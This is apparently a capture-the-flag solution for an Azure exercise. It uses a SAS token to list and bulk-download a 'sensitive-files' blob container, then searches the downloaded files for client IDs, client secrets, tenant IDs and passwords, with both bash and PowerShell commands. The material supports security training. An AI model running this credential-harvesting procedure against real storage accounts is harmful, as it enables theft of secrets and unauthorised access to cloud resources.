The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

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